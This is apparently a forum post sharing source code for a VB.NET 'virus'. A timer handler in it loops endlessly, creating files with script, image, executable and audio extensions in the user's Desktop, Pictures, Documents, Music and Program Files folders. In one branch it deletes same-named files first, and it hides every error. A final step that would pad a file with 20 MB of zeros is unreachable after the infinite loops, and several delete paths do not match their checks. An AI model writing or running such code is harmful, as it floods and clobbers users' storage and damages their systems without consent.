VB.NET Virus - Printable Version

Code:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        Dim i As Integer = 1

        Dim RNA1 As String = "\Virus"
        Dim RNA2 As String = ".vbs"
        Dim RNA3 As String = ".jpg"
        Dim RNA4 As String = ".mp3"
        Dim RNA5 As String = ".exe"

        Dim DNA1 As String = My.Computer.FileSystem.SpecialDirectories.Desktop
        Dim DNA2 As String = My.Computer.FileSystem.SpecialDirectories.MyPictures
        Dim DNA3 As String = My.Computer.FileSystem.SpecialDirectories.MyDocuments
        Dim DNA4 As String = My.Computer.FileSystem.SpecialDirectories.MyMusic
        Dim DNA5 As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles


        Dim overwrite As Boolean = True

        If overwrite Then
            While True
                On Error Resume Next

                If File.Exists(DNA1 & RNA1 & i & RNA2) Then
                    File.Delete(DNA1 & RNA1 & i & RNA2)
                End If

                File.Create(DNA1 & RNA1 & i & RNA2)

                If File.Exists(DNA2 & RNA1 & i & RNA3) Then
                    File.Delete(DNA1 & RNA1 & i & RNA3)
                End If

                File.Create(DNA2 & RNA1 & i & RNA3)

                If File.Exists(DNA3 & RNA1 & i & RNA5) Then
                    File.Delete(DNA3 & RNA1 & i & RNA5)
                End If

                File.Create(DNA3 & RNA1 & i & RNA5)


                If File.Exists(DNA4 & RNA1 & RNA4) Then
                    File.Delete(DNA4 & RNA1 & i & RNA4)
                End If

                File.Create(DNA4 & RNA1 & i & RNA4)

                If File.Exists(DNA5 & RNA1 & i & RNA2) Then
                    File.Delete(DNA5 & RNA1 & i & RNA2)
                End If

                File.Create(DNA5 & RNA1 & i & RNA2)

                i += 1
            End While
        Else
            While True
                On Error Resume Next

                If Not File.Exists(DNA1 & RNA1 & i & RNA2) Then
                    File.Create(DNA1 & RNA1 & i & RNA2)
                End If

                If Not File.Exists(DNA5 & RNA1 & i & RNA2) Then
                    File.Create(DNA5 & RNA1 & i & RNA2)
                End If

                If File.Exists(DNA2 & RNA1 & i & RNA3) Then
                    File.Create(DNA2 & RNA1 & i & RNA3)
                End If

                If Not File.Exists(DNA3 & RNA1 & i & RNA5) Then
                    File.Create(DNA3 & RNA1 & i & RNA5)
                End If


                If File.Exists(DNA4 & RNA1 & i & RNA4) Then
                    File.Create(DNA4 & RNA1 & i & RNA4)
                End If



                i += 1
            End While
        End If
        On Error Resume Next
        Dim file1 = File.OpenWrite(DNA3 & RNA1 & i & RNA5)
        Dim siza = file1.Seek(0, SeekOrigin.[End])
        Dim size = Convert.ToInt32(20)
        Dim bite As Decimal = size * 1048576
        On Error Resume Next
        While siza < bite
            siza += 1
            file1.WriteByte(0)
        End While
        On Error Resume Next
        file1.Close()


    End Sub

End Class